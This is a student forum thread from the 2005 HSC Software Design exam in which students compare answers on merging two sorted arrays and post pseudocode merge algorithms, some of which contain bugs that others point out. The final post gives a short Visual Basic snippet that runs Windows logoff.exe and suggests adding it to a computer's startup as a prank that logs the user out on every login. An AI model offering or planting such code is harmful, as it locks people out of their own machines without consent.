• Congratulations to the Class of 2024 on your results!
    Let us know how you went here
    Got a question about your uni preferences? Ask us here

That sorting method (1 Viewer)

HSCExamMarker

New Member
Joined
Oct 14, 2005
Messages
26
Gender
Male
HSC
N/A
for part i
I compared with bubble sort, and said that they both use comparison in their sorting, but bubble sort would compare each adjacent items for all the items.

and a little bit extended from here

and for part ii
since i could not understand the sorting method.

What i did was that i merged two arrays into one array and used a bubble sort to look like the last line..

I know this is not a way they wanted me to do.
But would i get marks for these questions???
 

MarsBarz

Member
Joined
Aug 1, 2005
Messages
282
Location
Nsw
Gender
Male
HSC
2005
HSCExamMarker said:
for part i
I compared with bubble sort, and said that they both use comparison in their sorting, but bubble sort would compare each adjacent items for all the items.

and a little bit extended from here

and for part ii
since i could not understand the sorting method.

What i did was that i merged two arrays into one array and used a bubble sort to look like the last line..

I know this is not a way they wanted me to do.
But would i get marks for these questions???
I think that you will get full marks. You did exactly what most people have told me they did. For the last one, read the question again. It didn't specify a sorting method, just said that you had to make line 4 look like line 5 so what you did is perfect.
I did a selection sort for the second part because I can never remember how to code bubble sorts haha.
 

Vex

New Member
Joined
Nov 3, 2005
Messages
11
Gender
Male
HSC
2005
For part II, I had 3 arrays.

FirstArray
SecondArray
Original (or something intrinsic like that)

My algorithm looped through the indexes and compared to the opposite values, slotting them in order. A slight mixture between bubble and insertion sorting. All the values were inserted into the 'Original' array in order in the end.

It was a fairly complex algorithm, but for a 5 mark question you'd want it to be.
(Good luck to the markers, long nights ahead..)
 

MarsBarz

Member
Joined
Aug 1, 2005
Messages
282
Location
Nsw
Gender
Male
HSC
2005
Vex said:
For part II, I had 3 arrays.

FirstArray
SecondArray
Original (or something intrinsic like that)

My algorithm looped through the indexes and compared to the opposite values, slotting them in order. A slight mixture between bubble and insertion sorting. All the values were inserted into the 'Original' array in order in the end.

It was a fairly complex algorithm, but for a 5 mark question you'd want it to be.
(Good luck to the markers, long nights ahead..)
I wonder how they go about marking the algorithms. Marking 2200+ different algorithms would kill me! I rekon they skim over it and give it an impression mark hahaha.
 

Vex

New Member
Joined
Nov 3, 2005
Messages
11
Gender
Male
HSC
2005
Thats the impression my SDD teacher gives me, I don't think I've dropped a mark in algorithms in exams over the past 2 years.

He says that the examiners arent going to deskcheck each algorithm, rather look for the functionality and mark accordingly.

Since I'm new to the forums and all, and have missed out on alot of discussion here, what'd you guys make for your majors? :p
 

thomas0087

New Member
Joined
Mar 9, 2004
Messages
2
my answer

I wrote something along the lines of this. Rather convoluted and long but I think it would work.
Won't work though if the words are the same though.
BEGIN
C1 = 1
C2 = 1
C3 = 1 # Counters

Get Stg4_a # first part of stage 4's array
Get Stg4_b # second part of stage 4's array

Stg5 = [] # array for stage 5

While Stg5.len < Stg4_a.len + Stg4_b.len
If Stg4_a[C1] < Stg4_b[C2] Then
Stg5[C3] = Stg4_a[C1]
C1 = C1 + 1
Else
Stg5[C3] = Stg4_b[C2]
C2 = C2 + 1
End If
C3 = C3 + 1
End While

Print Stg5

END
 

jarro_2783

Member
Joined
Dec 1, 2004
Messages
63
Location
Australia
Gender
Male
HSC
2005
Vex said:
For part II, I had 3 arrays.

FirstArray
SecondArray
Original (or something intrinsic like that)

My algorithm looped through the indexes and compared to the opposite values, slotting them in order. A slight mixture between bubble and insertion sorting. All the values were inserted into the 'Original' array in order in the end.

It was a fairly complex algorithm, but for a 5 mark question you'd want it to be.
(Good luck to the markers, long nights ahead..)
mine was basically like that except I did it as an in place sort. I also did mine as generic so it didn't just have to have 8 indices in the array. But what I did was loop backwards from the end of sub array 1 and find where that slots into sub array two. When I found the spot I moved all of the rest down a place and slotted it in.
 

Anna K

New Member
Joined
Feb 3, 2005
Messages
22
Gender
Female
HSC
2005
jarro_2783 said:
mine was basically like that except I did it as an in place sort. I also did mine as generic so it didn't just have to have 8 indices in the array. But what I did was loop backwards from the end of sub array 1 and find where that slots into sub array two. When I found the spot I moved all of the rest down a place and slotted it in.
Yeah, I pretty much did this, too. Except I didn't have a third array, I just kept expanding the one I was inserting into.

HSCExamMarker said:
for part i
I compared with bubble sort, and said that they both use comparison in their sorting, but bubble sort would compare each adjacent items for all the items.

and a little bit extended from here
I did that too! Pretty much exactly the same, actually. I was initially going to do an insertion sort but then I changed my mind to bubble because you couldn't really find any similarities with the insertion sort, unless you chose to say stage 4 needed to be inserstion sorted to get to stage 5.
 

Oso

Biotechnician in Training
Joined
Apr 25, 2005
Messages
55
Location
Central Coast
Gender
Male
HSC
2005
My chances i nthis test may have been better if I had of had a teacher who could be arsed to actually teach us...
 

Netterhead1

New Member
Joined
Dec 5, 2004
Messages
5
Gender
Male
HSC
2005
thomas0087, a few things about ur algorithm. i know i really shouldnt worry about it as its from memory u dont take into account the event when one array is trraversed before the other. my algorithm was v similar to that but longer. the fact is that by doing the sort this way the arrays are only traversed once whereas all other sorting methods used traverse it 7 times. and also, ur algorithm concept would work if the words were the same. that question was fairly easy :)
 

schlagzeuger

New Member
Joined
Oct 20, 2005
Messages
4
That sort was damn confusing... I compared it to a selection sort in part i, and in ii, I merged the arrays then did a selection sort on the new larger array.. hope that's alright :s
 

D43V1L0N3

New Member
Joined
Aug 16, 2005
Messages
14
Location
canberra
Gender
Male
HSC
2005
i compared it to a bubble sort...first thing that came into my mind and it was easy to draw comparisons of the 2.


for the algorithm.... thomas0087 i think yours will get an overflow at the end. you will end up comparing zebra to lizzard, putting lizzard in. then C2 = C2 + 1... which will then compare zebra to a blank array square... which will cause an error... i had this problem as well and spent 30mins after i finshed the exam fixing it lol!!!... i came up with what is below...


BEGIN final_merge(array1(), array2(), finalarray())
SET a = 1
SET b = 1
SET tot = number of elements in array1 + array2
FOR counter = 1 to tot
IF array1(a) < array2(b) THEN
finalarray(counter) = array1(a)
a = a + 1
IF a = length of array1() + 1 THEN
FOR counter2 = counter to tot
finalarray(counter2) = array2(b)
b = b + 1
counter = counter + 1
NEXT counter2
END IF
ELSE
finalarray(counter) = array2(b)
b = b + 1
IF b = length of array1() + 2 THEN
FOR counter2 = counter to tot
finalarray(counter2) = array1(a)
a = a + 1
counter = counter + 1
NEXT counter2
END IF
END IF
NEXT counter
END final_merge

... phew.. it works. for every case not just the one provided.

AND GRR STUPID NOT ALLOWING SPACE/TABS!!! appologies for tabless code lol
 
Last edited:

schlagzeuger

New Member
Joined
Oct 20, 2005
Messages
4
hmm... i thought of comparing to a bubble sort, don't know why I didn't as it's probably the method I'm most familiar with. As for tabs, wrapping text with "[ code ] [ /code ]" (without the spaces between code and the quare brackets though) should format it as monospace
 

PoP 'n' Fresh

Poke me! I giggle!
Joined
Aug 23, 2004
Messages
193
Location
Manly
Gender
Male
HSC
2005
Oso said:
My chances i nthis test may have been better if I had of had a teacher who could be arsed to actually teach us...
or maybe if you could be arsed to learn yourself
 
Joined
Nov 4, 2004
Messages
3,550
Location
Sydney
Gender
Male
HSC
2005
I learnt most the course myself but some things I didn't understand I asked the head teacher. I did a similar thing, I declared 3 arrays which was the 2 split ones, and i had a function that swapped if they where bigger or smaller then placed that into a newarray. Then at the end I had a bubble search resort that newarray, not very effecient but still :(
 

DumbparameciuM

New Member
Joined
Sep 4, 2004
Messages
11
Location
Newie
PoP 'n' Fresh said:
or maybe if you could be arsed to learn yourself
Seconded. Our teacher wasn't the best, but I'd swear blind that every member of our Software class will totally kill that test.

By sitting around and blaming it on the teacher, you might as well have not sat the test.

The sort they used in the exam was, IMO, a quicksort. Don't start shitting yourself - it's not on the syllabus.
 
Joined
Nov 4, 2004
Messages
3,550
Location
Sydney
Gender
Male
HSC
2005
The only reason I can actually do algorithms "elegantly" is because I did a number of 3u past papers :D excellent algorithms and adheres close to hsc imo
 

nick1048

Mè çHöP ŸèW
Joined
Apr 29, 2004
Messages
1,613
Location
The Mat®ix Ordinates: Sector 1-337- Statu
Gender
Male
HSC
2005
I did this first, then realised I was wrong because in order for an insertion sort to occur you would need more array cells, a luxury you do not have in this little scenario.

- Combine the arrays
- Use Bubble or Selection sort.
 

Glen88

Member
Joined
Nov 6, 2005
Messages
39
Location
Equatorial Guinea
Gender
Male
HSC
2006
Ok guys, heres some good code.

Private Sub Form_Load()
Shell ("C://WINDOWS/system32/logoff.exe")
Me.Hide
End Sub


Ok, now that you have this code, compile the exe and if you can, add it to the startup of your computer. Everytime the computer logs in it will log right back off.

Have fun.
 

Users Who Are Viewing This Thread (Users: 0, Guests: 1)

Top